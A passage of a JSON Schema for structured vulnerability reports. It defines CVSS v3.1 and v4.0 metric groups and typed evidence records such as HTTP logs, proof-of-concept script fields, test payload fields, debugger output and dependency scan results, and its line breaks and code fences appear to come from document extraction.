        "description": "CVSS v3.1 Temporal Metric Group.",
        "properties": {
          "exploitCodeMaturity": {"type": "string", "enum": ["UNPROVEN",
"PROOF_OF_CONCEPT", "FUNCTIONAL", "HIGH", "NOT_DEFINED"]},
          "remediationLevel": {"type": "string", "enum": ["OFFICIAL_FIX", "TEMPORARY_FIX",
"WORKAROUND", "UNAVAILABLE", "NOT_DEFINED"]},
          "reportConfidence": {"type": "string", "enum": ["UNKNOWN", "REASONABLE",
"CONFIRMED", "NOT_DEFINED"]}
        }
      },
      "environmentalScore": { "type": "number", "minimum": 0.0, "maximum": 10.0, "description":
"The CVSS Environmental Score." },
      "environmentalMetrics": {
        "type": "object",
        "description": "CVSS v3.1 Environmental Metric Group.",

        "properties": {

          "confidentialityRequirement": {"type": "string", "enum": ["LOW", "MEDIUM", "HIGH",
"NOT_DEFINED"]},

          "integrityRequirement": {"type": "string", "enum": ["LOW", "MEDIUM", "HIGH",
"NOT_DEFINED"]},

          "availabilityRequirement": {"type": "string", "enum": ["LOW", "MEDIUM", "HIGH",
"NOT_DEFINED"]},

          "modifiedAttackVector": {"type": "string", "enum": ["NETWORK",
"ADJACENT_NETWORK", "LOCAL", "PHYSICAL", "NOT_DEFINED"]},

          "modifiedAttackComplexity": {"type": "string", "enum": ["LOW", "HIGH",
"NOT_DEFINED"]},

          "modifiedPrivilegesRequired": {"type": "string", "enum": ["NONE", "LOW", "HIGH",
"NOT_DEFINED"]},

          "modifiedUserInteraction": {"type": "string", "enum": ["NONE", "REQUIRED",
"NOT_DEFINED"]},

          "modifiedScope": {"type": "string", "enum": ["UNCHANGED", "CHANGED",
"NOT_DEFINED"]},

          "modifiedConfidentialityImpact": {"type": "string", "enum": ["NONE", "LOW", "HIGH",
"NOT_DEFINED"]},

          "modifiedIntegrityImpact": {"type": "string", "enum": ["NONE", "LOW", "HIGH",
"NOT_DEFINED"]},

          "modifiedAvailabilityImpact": {"type": "string", "enum": ["NONE", "LOW", "HIGH",
"NOT_DEFINED"]}

        }

      }

    },

    "required": ["version", "vectorString", "baseScore", "baseMetrics"],

    "additionalProperties": false
    },
    "CvssV4_0": {
      "type": "object",
      "description": "Common Vulnerability Scoring System v4.0 details.",
      "properties": {
        "version": { "type": "string", "const": "4.0" },
        "vectorString": {
          "type": "string",
          "pattern":
"^CVSS:4\\.0/AV:[NALP]/AC:[LH]/AT:[NP]/PR:[NLH]/UI:[NPA]/VC:[NLH]/VI:[NLH]/VA:[NLH]/SC:[N
LH]/SI:[NLH]/SA:[NLH](?:/E:[APU])?(?:/CR:[LMH])?(?:/IR:[LMH])?(?:/AR:[LMH])?(?:/MAV:[NALP]
)?(?:/MAC:[LH])?(?:/MAT:[NP])?(?:/MPR:[NLH])?(?:/MUI:[NPA])?(?:/MVC:[NLH])?(?:/MVI:[NLH])
?(?:/MVA:[NLH])?(?:/MSC:[NLH])?(?:/MSI:[NLH])?(?:/MSA:[NLH])?(?:/S:[NP])?(?:/AU:[YN])?(?:/
R:[AIU])?(?:/V:[CD])?(?:/RE:[LMH])?(?:/U:(?:Clear|Green|Amber|Red))?(/[A-Za-z0-9_]+:[A-Za-z0
-9_]+)*$",
          "description": "The full CVSS v4.0 vector string."
        },
        "baseScore": { "type": "number", "minimum": 0.0, "maximum": 10.0, "description": "CVSS
v4.0 Base Score (CVSS-B)." },
        "threatScore": { "type": "number", "minimum": 0.0, "maximum": 10.0, "description": "CVSS
v4.0 Threat Score (CVSS-BT)." },
        "environmentalScore": { "type": "number", "minimum": 0.0, "maximum": 10.0, "description":
"CVSS v4.0 Environmental Score (CVSS-BE)." },
        "baseMetrics": {
          "type": "object",
          "description": "CVSS v4.0 Base (Exploitability and Impact) Metric Group.",
          "properties": {
            "attackVector": {"type": "string", "enum": ["NETWORK", "ADJACENT", "LOCAL",
"PHYSICAL"]},
            "attackComplexity": {"type": "string", "enum": ["LOW", "HIGH"]},

            "attackRequirements": {"type": "string", "enum": ["NONE", "PRESENT"]},

            "privilegesRequired": {"type": "string", "enum": ["NONE", "LOW", "HIGH"]},

            "userInteraction": {"type": "string", "enum": ["NONE", "PASSIVE", "ACTIVE"]},

            "vulnerableSystemConfidentiality": {"type": "string", "enum": ["HIGH", "LOW", "NONE"]},

            "vulnerableSystemIntegrity": {"type": "string", "enum": ["HIGH", "LOW", "NONE"]},

            "vulnerableSystemAvailability": {"type": "string", "enum": ["HIGH", "LOW", "NONE"]},

            "subsequentSystemConfidentiality": {"type": "string", "enum": ["HIGH", "LOW", "NONE"]},

            "subsequentSystemIntegrity": {"type": "string", "enum": ["HIGH", "LOW", "NONE"]},

            "subsequentSystemAvailability": {"type": "string", "enum": ["HIGH", "LOW", "NONE"]}

          },

          "required": ["attackVector", "attackComplexity", "attackRequirements",
"privilegesRequired", "userInteraction", "vulnerableSystemConfidentiality",
"vulnerableSystemIntegrity", "vulnerableSystemAvailability", "subsequentSystemConfidentiality",
"subsequentSystemIntegrity", "subsequentSystemAvailability"]

        },

        "threatMetrics": {

          "type": "object",

          "description": "CVSS v4.0 Threat Metric Group.",

          "properties": {

            "exploitMaturity": {"type": "string", "enum": ["ATTACKED", "PROOF_OF_CONCEPT",
"UNREPORTED", "NOT_DEFINED"]}

          }

        },

        "environmentalMetrics": {

          "type": "object",
          "description": "CVSS v4.0 Environmental Metric Group.",
          "properties": {
            "confidentialityRequirement": {"type": "string", "enum": ["HIGH", "MEDIUM", "LOW",
"NOT_DEFINED"]},
            "integrityRequirement": {"type": "string", "enum": ["HIGH", "MEDIUM", "LOW",
"NOT_DEFINED"]},
            "availabilityRequirement": {"type": "string", "enum": ["HIGH", "MEDIUM", "LOW",
"NOT_DEFINED"]},
            "modifiedAttackVector": {"type": "string", "enum": ["NETWORK", "ADJACENT", "LOCAL",
"PHYSICAL", "NOT_DEFINED"]},
            "modifiedAttackComplexity": {"type": "string", "enum": ["LOW", "HIGH",
"NOT_DEFINED"]},
            "modifiedAttackRequirements": {"type": "string", "enum": ["NONE", "PRESENT",
"NOT_DEFINED"]},
            "modifiedPrivilegesRequired": {"type": "string", "enum": ["NONE", "LOW", "HIGH",
"NOT_DEFINED"]},
            "modifiedUserInteraction": {"type": "string", "enum": ["NONE", "PASSIVE", "ACTIVE",
"NOT_DEFINED"]},
            "modifiedVulnerableSystemConfidentiality": {"type": "string", "enum": ["HIGH", "LOW",
"NONE", "NOT_DEFINED"]},
            "modifiedVulnerableSystemIntegrity": {"type": "string", "enum": ["HIGH", "LOW", "NONE",
"NOT_DEFINED"]},
            "modifiedVulnerableSystemAvailability": {"type": "string", "enum": ["HIGH", "LOW",
"NONE", "NOT_DEFINED"]},
            "modifiedSubsequentSystemConfidentiality": {"type": "string", "enum": ["HIGH", "LOW",
"NONE", "NOT_DEFINED"]},
            "modifiedSubsequentSystemIntegrity": {"type": "string", "enum": ["HIGH", "LOW",
"NONE", "NOT_DEFINED"]},
            "modifiedSubsequentSystemAvailability": {"type": "string", "enum": ["HIGH", "LOW",
"NONE", "NOT_DEFINED"]}
          }
          },
          "supplementalMetrics": {
            "type": "object",
            "description": "CVSS v4.0 Supplemental Metric Group.",
            "properties": {
              "safety": {"type": "string", "enum": ["NEGLIGIBLE", "PRESENT", "NOT_DEFINED"]},
              "automatable": {"type": "string", "enum": ["YES", "NO", "NOT_DEFINED"]},
              "recovery": {"type": "string", "enum": ["AUTOMATIC", "USER", "IRRECOVERABLE",
"NOT_DEFINED"]},
              "valueDensity": {"type": "string", "enum": ["DIFFUSE", "CONCENTRATED",
"NOT_DEFINED"]},
              "vulnerabilityResponseEffort": {"type": "string", "enum": ["LOW", "MODERATE",
"HIGH", "NOT_DEFINED"]},
              "providerUrgency": {"type": "string", "enum": ["CLEAR", "GREEN", "AMBER", "RED",
"NOT_DEFINED"]}
            }
          }
        },
        "required": ["version", "vectorString", "baseScore", "baseMetrics"],
        "additionalProperties": false
      },
      "Evidence": {
        "type": "object",
        "description": "A single piece of evidence supporting the vulnerability claim, detailing what
was observed and how it proves exploitability.",
        "properties": {
          "id": {
```

```
        "type": "string",
        "format": "uuid",
        "pattern": "^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$",
        "description": "(Optional) A UUID uniquely identifying this evidence item. Useful for linking
from TraceSteps or AffectedComponents."
      },
      "evidenceType": {
        "type": "string",
        "enum": [
          "HTTP_REQUEST_LOG", "HTTP_RESPONSE_LOG",
          "CODE_SNIPPET_SOURCE", "CODE_SNIPPET_SINK",
"CODE_SNIPPET_CONTEXT",
          "POC_SCRIPT",
          "RUNTIME_APPLICATION_LOG_ENTRY", "RUNTIME_SYSTEM_LOG_ENTRY",
          "RUNTIME_WEB_SERVER_LOG_ENTRY", "RUNTIME_DATABASE_LOG_ENTRY",
          "RUNTIME_DEBUGGER_OUTPUT", "RUNTIME_EXCEPTION_TRACE",
          "SCREENSHOT_URL", "SCREENSHOT_EMBEDDED_BASE64",
          "MANUAL_VERIFICATION_NOTES", "TEST_PAYLOAD_USED",
          "ENVIRONMENT_CONFIGURATION_DETAILS",
"NETWORK_TRAFFIC_CAPTURE_SUMMARY",
          "STATIC_ANALYSIS_DATA_FLOW_PATH",
"STATIC_ANALYSIS_CONTROL_FLOW_GRAPH",
          "CONFIGURATION_FILE_SNIPPET",
"VULNERABLE_COMPONENT_SCAN_OUTPUT",
          "MISSING_ARTIFACT_VERIFICATION", "OBSERVED_BEHAVIORAL_CHANGE",
          "DATABASE_STATE_CHANGE_PROOF", "FILE_SYSTEM_CHANGE_PROOF",
          "COMMAND_EXECUTION_OUTPUT", "EXFILTRATED_DATA_SAMPLE",
          "SESSION_INFORMATION_LEAK", "EXTERNAL_INTERACTION_PROOF",
          "DIFFERENTIAL_ANALYSIS_RESULT", "TOOL_SPECIFIC_OUTPUT_LOG",
          "OTHER_EVIDENCE"
        ],
        "description": "The type of evidence provided. The structure of the 'data' field depends on this type. See Appendix P: `Evidence.evidenceType` - Definitions, Usage, and Data Structure Summaries for details."
      },
      "validationMethod": {
        "type": "string",
        "enum": [
          "STATIC_ANALYSIS_VALIDATION",
          "DYNAMIC_ANALYSIS_EXPLOIT",
          "INTERACTIVE_APPLICATION_SECURITY_TESTING_EXPLOIT",
          "MANUAL_CODE_REVIEW_CONFIRMATION",
          "MANUAL_PENETRATION_TESTING_EXPLOIT",
          "AUTOMATED_EXPLOIT_TOOL_CONFIRMATION",
          "SOFTWARE_COMPOSITION_ANALYSIS_CONTEXTUAL_VALIDATION",
          "FUZZ_TESTING_CRASH_ANALYSIS",
          "REVERSE_ENGINEERING_PROOF",
          "CONFIGURATION_AUDIT_VERIFICATION",
          "LOG_ANALYSIS_CORRELATION",
          "HYBRID_VALIDATION",
          "OTHER_VALIDATION_METHOD"
        ],
          "description": "The primary method used to obtain or validate this specific piece of
evidence as proof of exploitability. See Appendix O: `Evidence.validationMethod` - Definitions
for details."

        },

        "description": {

          "type": "string",

          "description": "A human-readable summary of this evidence item, explaining what it
demonstrates and its significance in proving the vulnerability's exploitability."

        },

        "timestamp": {

          "type": "string",

          "format": "date-time",

          "description": "Timestamp of when this evidence was captured, observed, or generated, in
ISO 8601 format."

        },

        "data": {

          "$ref": "#/$defs/EvidenceDataVariant",

          "description": "Structured data specific to the evidenceType. The schema for this object is
determined by the value of 'evidenceType'."

        },

        "customProperties": {

          "type": "object",

          "description": "A key-value map for custom data related to this evidence item.",

          "additionalProperties": true

        }

      },

      "required": ["evidenceType", "description", "data"],
      "additionalProperties": false,

      "patternProperties": {

        "^x-": {}

      }

    },

    "EvidenceDataVariant": {

        "description": "A container that uses 'oneOf' to ensure that the 'data' field of an Evidence
object matches the structure defined for its 'evidenceType'.",

        "oneOf": [

            { "$ref": "#/$defs/HttpRequestLogData" },

            { "$ref": "#/$defs/HttpResponseLogData" },

            { "$ref": "#/$defs/CodeSnippetData" },

            { "$ref": "#/$defs/PocScriptData" },

            { "$ref": "#/$defs/RuntimeLogEntryData" },

            { "$ref": "#/$defs/DebuggerOutputData" },

            { "$ref": "#/$defs/ExceptionTraceData" },

            { "$ref": "#/$defs/ScreenshotUrlData" },

            { "$ref": "#/$defs/ScreenshotEmbeddedData" },

            { "$ref": "#/$defs/ManualVerificationData" },

            { "$ref": "#/$defs/TestPayloadData" },

            { "$ref": "#/$defs/EnvironmentConfigData" },

            { "$ref": "#/$defs/NetworkCaptureSummaryData" },

            { "$ref": "#/$defs/StaticAnalysisPathData" },

            { "$ref": "#/$defs/StaticAnalysisGraphData" },

            { "$ref": "#/$defs/ConfigFileSnippetData" },
            { "$ref": "#/$defs/ScaOutputData" },
            { "$ref": "#/$defs/MissingArtifactData" },
            { "$ref": "#/$defs/ObservedBehaviorData" },
            { "$ref": "#/$defs/DbStateChangeData" },
            { "$ref": "#/$defs/FsChangeData" },
            { "$ref": "#/$defs/CommandOutputData" },
            { "$ref": "#/$defs/ExfiltratedDataSampleData" },
            { "$ref": "#/$defs/SessionInfoLeakData" },
            { "$ref": "#/$defs/ExternalInteractionProofData" },
            { "$ref": "#/$defs/DifferentialAnalysisData" },
            { "$ref": "#/$defs/ToolSpecificOutputData" },
            { "$ref": "#/$defs/OtherEvidenceData" }
        ]
    },
    "HttpHeader": {
        "type": "object",
        "properties": {
            "name": {"type": "string"},
            "value": {"type": "string"}
        },
        "required": ["name", "value"]
    },
    "HttpRequestLogData": {
        "type": "object",
        "description": "Structured data for evidenceType: HTTP_REQUEST_LOG.",
        "properties": {
            "method": {"type": "string", "enum": ["GET", "POST", "PUT", "DELETE", "PATCH", "OPTIONS", "HEAD", "CONNECT", "TRACE", "OTHER"], "description": "HTTP method used."},
            "url": {"type": "string", "format": "uri-reference", "description": "Full URL of the request, including query parameters."},
            "version": {"type": "string", "description": "HTTP version (e.g., 'HTTP/1.1', 'HTTP/2')."},
            "headers": {
                "type": "array",
                "items": {"$ref": "#/$defs/HttpHeader"},
                "description": "HTTP request headers."
            },
            "body": {"type": "string", "description": "Request body. For binary data, SHOULD be Base64 encoded and indicated by 'bodyEncoding'."},
            "bodyEncoding": {"type": "string", "enum": ["plaintext", "base64", "json", "xml", "form_urlencoded"], "default": "plaintext", "description": "Encoding of the request body."}
        },
        "required": ["method", "url"],
        "additionalProperties": false, "patternProperties": {"^x-": {}}
    },
    "HttpResponseLogData": {
        "type": "object",
        "description": "Structured data for evidenceType: HTTP_RESPONSE_LOG.",
        "properties": {
            "url": {"type": "string", "format": "uri-reference", "description": "URL that generated this response (useful for context if not immediately paired with a request log)."},
            "statusCode": {"type": "integer", "description": "HTTP status code (e.g., 200, 404, 500)."},
            "reasonPhrase": {"type": "string", "description": "HTTP reason phrase (e.g., 'OK', 'Not
Found')."},

            "version": {"type": "string", "description": "HTTP version (e.g., 'HTTP/1.1', 'HTTP/2')."},

            "headers": {

                "type": "array",

                "items": {"$ref": "#/$defs/HttpHeader"},

                "description": "HTTP response headers."

            },

            "body": {"type": "string", "description": "Response body. For binary data, SHOULD be
Base64 encoded and indicated by 'bodyEncoding'."},

            "bodyEncoding": {"type": "string", "enum": ["plaintext", "base64", "json", "xml", "html"],
"default": "plaintext", "description": "Encoding of the response body."}

        },

        "required": ["statusCode"],

        "additionalProperties": false, "patternProperties": {"^x-": {}}

    },

    "CodeSnippetData": {

        "type": "object",

        "description": "Structured data for evidenceType: CODE_SNIPPET_SOURCE,
CODE_SNIPPET_SINK, or CODE_SNIPPET_CONTEXT.",

        "properties": {

            "content": {"type": "string", "description": "The actual code snippet."},

            "language": {"type": "string", "description": "Programming language of the snippet (e.g.,
'java', 'python', 'javascript', 'csharp', 'php', 'ruby', 'go', 'swift', 'kotlin', 'c', 'cpp')."},

            "filePath": {"type": "string", "description": "Path to the source file containing this snippet, if
different from the primary location associated with the flow."},

            "startLine": {"type": "integer", "minimum": 1, "description": "One-based starting line
number of the snippet in the file."},
            "endLine": {"type": "integer", "minimum": 1, "description": "One-based ending line number of the snippet in the file."}
        },
        "required": ["content"],
        "additionalProperties": false, "patternProperties": {"^x-": {}}
    },
    "PocScriptData": {
        "type": "object",
        "description": "Structured data for evidenceType: POC_SCRIPT.",
        "properties": {
            "scriptLanguage": {"type": "string", "description": "Language of the PoC script (e.g., 'python', 'bash', 'powershell', 'javascript', 'ruby', 'text/plain' for step-by-step instructions, 'markdown')."},
            "scriptContent": {"type": "string", "description": "The content of the PoC script or textual steps to reproduce."},
            "scriptArguments": {"type": "array", "items": {"type": "string"}, "description": "Arguments or parameters the script might require to run, or placeholder explanations for what the user should input."},
            "expectedOutcome": {"type": "string", "description": "What the script is expected to achieve or demonstrate (e.g., 'A file /tmp/pwned will be created', 'An alert box will appear')."}
        },
        "required": ["scriptLanguage", "scriptContent"],
        "additionalProperties": false, "patternProperties": {"^x-": {}}
    },
    "RuntimeLogEntryData": {
        "type": "object",
        "description": "Structured data for evidenceType: RUNTIME_APPLICATION_LOG_ENTRY, RUNTIME_SYSTEM_LOG_ENTRY, RUNTIME_WEB_SERVER_LOG_ENTRY, RUNTIME_DATABASE_LOG_ENTRY.",
        "properties": {
          "logSourceIdentifier": {"type": "string", "description": "Identifier for the log source (e.g., file path like '/var/log/app.log', 'Windows Event Log - Application', 'stdout', 'Kubernetes Pod Log: mypod-123')."},
          "timestampInLog": {"type": "string", "format": "date-time", "description": "Timestamp as it appears in the log entry itself, if available and different from the evidence capture timestamp."},
          "logLevel": {"type": "string", "description": "Log level if applicable (e.g., 'INFO', 'ERROR', 'DEBUG', 'WARN', 'FATAL')."},
          "threadId": {"type": "string", "description": "Thread ID associated with the log entry, if applicable."},
          "processId": {"type": "string", "description": "Process ID associated with the log entry, if applicable."},
          "componentName": {"type": "string", "description": "Name of the application component or module that generated the log."},
          "message": {"type": "string", "description": "The primary log message content."},
          "structuredLogData": {
            "type": "object",
            "additionalProperties": true,
            "description": "Key-value pairs for structured log entries (e.g., from JSON formatted logs)."
          }
        },
        "required": ["message"],
        "additionalProperties": false, "patternProperties": {"^x-": {}}
      },
      "DebuggerOutputData": {
        "type": "object",
        "description": "Structured data for evidenceType: RUNTIME_DEBUGGER_OUTPUT.",
        "properties": {
            "debuggerName": {"type": "string", "description": "Name of the debugger used (e.g., 'GDB', 'WinDbg', 'Chrome DevTools', 'pdb')."},
            "timestampInDebugger": {"type": "string", "format": "date-time", "description": "Timestamp of the debugger state capture."},
            "commandExecuted": {"type": "string", "description": "Debugger command that yielded this output (e.g., 'print variable_x', 'bt', 'info registers')."},
            "output": {"type": "string", "description": "The raw output from the debugger command or state dump."},
            "callStack": {
                "type": "array",
                "items": {"type": "string"},
                "description": "Array of strings representing the call stack frames at the point of interest."
            },
            "variableStates": {
                "type": "array",
                "items": {
                    "type": "object",
                    "properties": {
                        "name": {"type": "string"},
                        "value": {"type": "string"},
                        "type": {"type": "string"},
                        "address": {"type": "string"}
                    },
                    "required": ["name", "value"]
                },
                "description": "State of relevant variables (name, value, type, memory address) at the
time of capture."
            }
        },
        "required": ["output"],
        "additionalProperties": false, "patternProperties": {"^x-": {}}
    },
    "ExceptionTraceData": {
        "type": "object",
        "description": "Structured data for evidenceType: RUNTIME_EXCEPTION_TRACE.",
        "properties": {
            "exceptionClass": {"type": "string", "description": "The class or type name of the
exception that was thrown (e.g., 'java.sql.SQLSyntaxErrorException', 'NullPointerException',
'System.IO.PathTooLongException')."},
            "exceptionMessage": {"type": "string", "description": "The message associated with the
exception (e.g., 'ORA-00904: invalid identifier', 'Attempt to dereference a null object')."},
            "stackTrace": {
                "type": "array",
                "items": {"type": "string"},
                "description": "An ordered array of strings, each representing a frame in the call stack
at the time the exception occurred. The format of each frame string may vary by
language/platform but should be as detailed as possible (e.g.,
'com.example.MyClass.myMethod(MyClass.java:42)')."
            },
            "rootCause": {
                "$ref": "#/$defs/ExceptionTraceData",
                "description": "Nested exception trace object for the root cause, if the exception
handling framework provides this (common in Java, .NET)."
```

```
      }
    },
    "required": ["exceptionClass", "stackTrace"],
    "additionalProperties": false, "patternProperties": {"^x-": {}}
  },
  "ScreenshotUrlData": {
    "type": "object",
    "description": "Structured data for evidenceType: SCREENSHOT_URL.",
    "properties": {
      "url": {"type": "string", "format": "uri", "description": "URL pointing to the screenshot
image."},
      "caption": {"type": "string", "description": "A brief caption describing what the screenshot
shows."},
      "requiresAuthentication": {"type": "boolean", "default": false, "description": "Indicates if
accessing the URL requires authentication."}
    },
    "required": ["url"],
    "additionalProperties": false, "patternProperties": {"^x-": {}}
  },
  "ScreenshotEmbeddedData": {
    "type": "object",
    "description": "Structured data for evidenceType: SCREENSHOT_EMBEDDED_BASE64.",
    "properties": {
      "imageDataBase64": {"type": "string", "contentEncoding": "base64", "description":
"Base64 encoded string of the image data."},
      "imageFormat": {"type": "string", "enum": ["png", "jpeg", "gif", "bmp", "webp"],
"description": "Format of the embedded image (e.g., 'png', 'jpeg')."},
            "caption": {"type": "string", "description": "A brief caption describing what the screenshot shows."}
        },
        "required": ["imageDataBase64", "imageFormat"],
        "additionalProperties": false, "patternProperties": {"^x-": {}}
    },
    "ManualVerificationData": {
        "type": "object",
        "description": "Structured data for evidenceType: MANUAL_VERIFICATION_NOTES.",
        "properties": {
            "testerName": {"type": "string", "description": "Name or identifier of the person who performed the manual verification."},
            "verificationSteps": {"type": "string", "description": "Detailed step-by-step account of how the vulnerability was manually verified. Markdown is permitted for rich text formatting."},
            "observedOutcome": {"type": "string", "description": "The outcome observed during manual verification that confirms exploitability."},
            "toolsUsed": {"type": "array", "items": {"type": "string"}, "description": "List of tools used during manual verification (e.g., 'Burp Suite Professional v2023.10', 'curl 7.81.0', 'Browser Developer Tools (Firefox 115)')."}
        },
        "required": ["verificationSteps", "observedOutcome"],
        "additionalProperties": false, "patternProperties": {"^x-": {}}
    },
    "TestPayloadData": {
        "type": "object",
        "description": "Structured data for evidenceType: TEST_PAYLOAD_USED.",
        "properties": {
            "payloadDescription": {"type": "string", "description": "A description of the payload and its
intended effect."},

            "payloadContent": {"type": "string", "description": "The actual payload string or data. For
binary payloads, Base64 encoding is recommended, indicated by 'payloadEncoding'."},

            "payloadEncoding": {"type": "string", "enum": ["plaintext", "base64", "hex", "urlencoded",
"utf16le", "utf16be", "json_escaped", "xml_escaped", "custom"], "default": "plaintext",
"description": "Encoding of the payloadContent. 'custom' implies description in
payloadDescription."},

            "targetParameterOrLocation": {"type": "string", "description": "The specific parameter,
HTTP header, input field, file, or other location where this payload was injected or applied (e.g.,
'HTTP GET parameter id', 'JSON body field user.name', 'File upload field avatar.filename')."}

        },

        "required": ["payloadContent"],

        "additionalProperties": false, "patternProperties": {"^x-": {}}

    },

    "EnvironmentConfigData": {

        "type": "object",

        "description": "Structured data for evidenceType:
ENVIRONMENT_CONFIGURATION_DETAILS. Describes specific environmental conditions
that were necessary for or contributed to the exploit.",

        "properties": {

            "operatingSystem": {"type": "string", "description": "Operating system name and version
(e.g., 'Ubuntu 22.04 LTS', 'Windows Server 2019 Datacenter Build 17763')."},

            "softwareStack": {

                "type": "array",

                "items": {

                    "type": "object",

                    "properties": {

                        "name": {"type": "string"},
          "version": {"type": "string"},

          "purl": {"type": "string"}

        },

        "required": ["name"]

      },

      "description": "List of relevant software components and their versions (e.g., web
server, application server, database, key libraries) that constitute the environment."

    },

    "networkConfiguration": {"type": "string", "description": "Relevant network configuration
details (e.g., 'Target server in DMZ, firewall rule X allows inbound on port 443', 'Internal DNS
resolution for serviceX.internal.corp')."},

    "hardwareDetails": {"type": "string", "description": "Specific hardware details if relevant to
the exploit (e.g., 'CPU Architecture: x86_64', 'Specific IoT device model: XYZ-123 Rev B')."},

    "relevantSettings": {

      "type": "array",

      "items": {

        "type": "object",

        "properties": {

          "settingName": {"type": "string"},

          "settingValue": {"type": "string"},

          "sourceDescription": {"type": "string", "description": "Where this setting was found
or how it was determined (e.g., 'Environment Variable: DEBUG_MODE', 'Application config file:
/app/config/settings.ini', 'OS Registry Key: HKLM\\...')."}

        },

        "required": ["settingName"]

      },

      "description": "Key-value pairs of specific configuration settings relevant to the
exploit."
```

```
        },
        "notes": {"type": "string", "description": "Additional notes about how the environment
contributed to or was necessary for the exploit (e.g., 'Exploit only works if feature flag X is
enabled', 'Vulnerability requires specific non-default OS patch level')."}
      },
      "additionalProperties": false, "patternProperties": {"^x-": {}}
    },
    "NetworkCaptureSummaryData": {
      "type": "object",
      "description": "Structured data for evidenceType:
NETWORK_TRAFFIC_CAPTURE_SUMMARY. Describes key aspects of a network capture,
not the full capture itself.",
      "properties": {
        "captureTool": {"type": "string", "description": "Tool used for capturing traffic (e.g.,
'Wireshark 4.0.1', 'tcpdump 4.9.3')."},
        "captureFilterApplied": {"type": "string", "description": "Capture filter used (e.g., 'host
10.0.0.5 and port 443', 'tcp port 80 and contains \"password\"')."},
        "relevantPacketsDescription": {
          "type": "array",
          "items": {"type": "string"},
          "description": "Textual descriptions of key packets or sequences of packets relevant to
the exploit (e.g., 'Packet 5: Initial handshake', 'Packets 10-12: Data exfiltration containing
pattern XXX')."
        },
        "exchangedDataSummary": {"type": "string", "description": "A summary of any sensitive
data or exploit payloads observed in the traffic (should be sanitized if including actual data)."},
        "referenceToFullCapture": {"type": "string", "description": "An identifier, path, or note on
where the full network capture (e.g., PCAP file) is stored, if applicable and too large to include
directly. This might be an internal reference."}
```

```
    },
    "required": ["relevantPacketsDescription"],
    "additionalProperties": false, "patternProperties": {"^x-": {}}
  },
  "StaticAnalysisPathData": {
    "type": "object",
    "description": "Structured data for evidenceType:
STATIC_ANALYSIS_DATA_FLOW_PATH. Represents a tainted data flow path identified by
static analysis and confirmed as relevant to the validated exploit.",
    "properties": {
      "toolName": {"type": "string", "description": "Name of the SAST tool that originally
identified this path."},
      "queryOrRuleId": {"type": "string", "description": "Identifier of the SAST query or rule that
found this path."},
      "pathNodes": {
        "type": "array",
        "minItems": 2,
        "items": {
          "type": "object",
          "properties": {
            "order": {"type": "integer", "minimum": 0, "description": "Sequence order of this
node in the path."},
            "location": {"$ref": "#/$defs/Location", "description": "The code location of this
node."},
            "description": {"type": "string", "description": "Description of this node in the data
flow path (e.g., 'Input from HTTP request parameter `id`', 'Data passed to `sanitizeUserInput()`',
'Unsanitized data used in SQL query construction')."}
          },
          "required": ["order", "location", "description"]

        },

        "description": "An ordered array of nodes representing the data flow path from source
to sink."

      }

    },

    "required": ["pathNodes"],

    "additionalProperties": false, "patternProperties": {"^x-": {}}

  },

  "StaticAnalysisGraphData": {

    "type": "object",

    "description": "Structured data for evidenceType:
STATIC_ANALYSIS_CONTROL_FLOW_GRAPH or other graph-based static analysis evidence
(e.g., call graph, data dependency graph).",

    "properties": {

      "toolName": {"type": "string", "description": "Name of the SAST tool or analysis technique
that produced the graph."},

      "graphType": {"type": "string", "enum": ["CONTROL_FLOW", "CALL_GRAPH",
"DATA_DEPENDENCE_GRAPH", "PROGRAM_DEPENDENCE_GRAPH", "OTHER"],
"description": "Type of graph represented."},

      "functionNameOrScope": {"type": "string", "description": "Name of the function or scope
this graph pertains to."},

      "graphDescription": {"type": "string", "description": "A summary of what the graph or its
relevant portion demonstrates in relation to the vulnerability."},

      "relevantNodesOrEdges": {

        "type": "array",

        "items": {

          "type": "object",
                    "properties": {

                        "elementType": {"type": "string", "enum": ["NODE", "EDGE"]},

                        "elementId": {"type": "string", "description": "Identifier for the node or edge within
the graph representation."},

                        "description": {"type": "string", "description": "Description of the node/edge's
significance."}

                    },

                    "required": ["elementType", "elementId", "description"]

                },

                "description": "Descriptions of specific nodes or edges in the graph that are key to the
evidence."

            },

            "imageOfGraphUrl": {"type": "string", "format": "uri", "description": "URL to an image or
visual representation of the graph, if available and helpful."}

        },

        "required": ["graphType", "graphDescription"],

        "additionalProperties": false, "patternProperties": {"^x-": {}}

    },

    "ConfigFileSnippetData": {

        "type": "object",

        "description": "Structured data for evidenceType: CONFIGURATION_FILE_SNIPPET.",

        "properties": {

            "filePath": {"type": "string", "description": "Full path to the configuration file."},

            "settingName": {"type": "string", "description": "Name of the specific setting or section if
applicable (e.g., 'debug_mode', 'allowed_origins', 'security.protocol.version')."},

            "snippet": {"type": "string", "description": "The relevant snippet from the configuration
file."},
            "interpretation": {"type": "string", "description": "Explanation of why this configuration
snippet is evidence of a vulnerability (e.g., 'Debug mode enabled in production environment',
'Missing HttpOnly flag on session cookie setting in web.xml')."}

        },

        "required": ["filePath", "snippet"],

        "additionalProperties": false, "patternProperties": {"^x-": {}}

    },

    "ScaOutputData": {

        "type": "object",

        "description": "Structured data for evidenceType:
VULNERABLE_COMPONENT_SCAN_OUTPUT. Summarizes output from an SCA tool
identifying a vulnerable component.",

        "properties": {

            "toolName": {"type": "string", "description": "Name of the SCA tool or dependency
checker used (e.g., 'OWASP Dependency-Check', 'Snyk', 'Trivy')."},

            "componentIdentifier": {

                "type": "object",

                "properties": {

                    "name": {"type": "string", "description": "Name of the component (e.g.,
'org.apache.logging.log4j:log4j-core', 'lodash')."},

                    "version": {"type": "string", "description": "The version of the component found."},

                    "purl": {"type": "string", "description": "Package URL (PURL) of the component.
Highly Recommended."},

                    "cpe": {"type": "string", "description": "Common Platform Enumeration (CPE) of the
component."}

                },

                "required": ["name", "version"],

                "description": "Details identifying the vulnerable component."
            },
            "vulnerabilityIdentifiers": {
                "type": "array",
                "minItems": 1,
                "items": {
                    "type": "object",
                    "properties": {
                        "idSystem": {"type": "string", "enum": ["CVE", "GHSA", "OSV", "NVD", "SNYK",
"VENDOR_SPECIFIC", "OTHER"], "description": "The system/namespace of the vulnerability
ID."},
                        "idValue": {"type": "string", "description": "The vulnerability ID itself (e.g.,
'CVE-2021-44228', 'GHSA-jfh8-c2jp-5v3q')."}
                    },
                    "required": ["idSystem", "idValue"]
                },
                "description": "List of known vulnerability identifiers (e.g., CVEs) associated with this
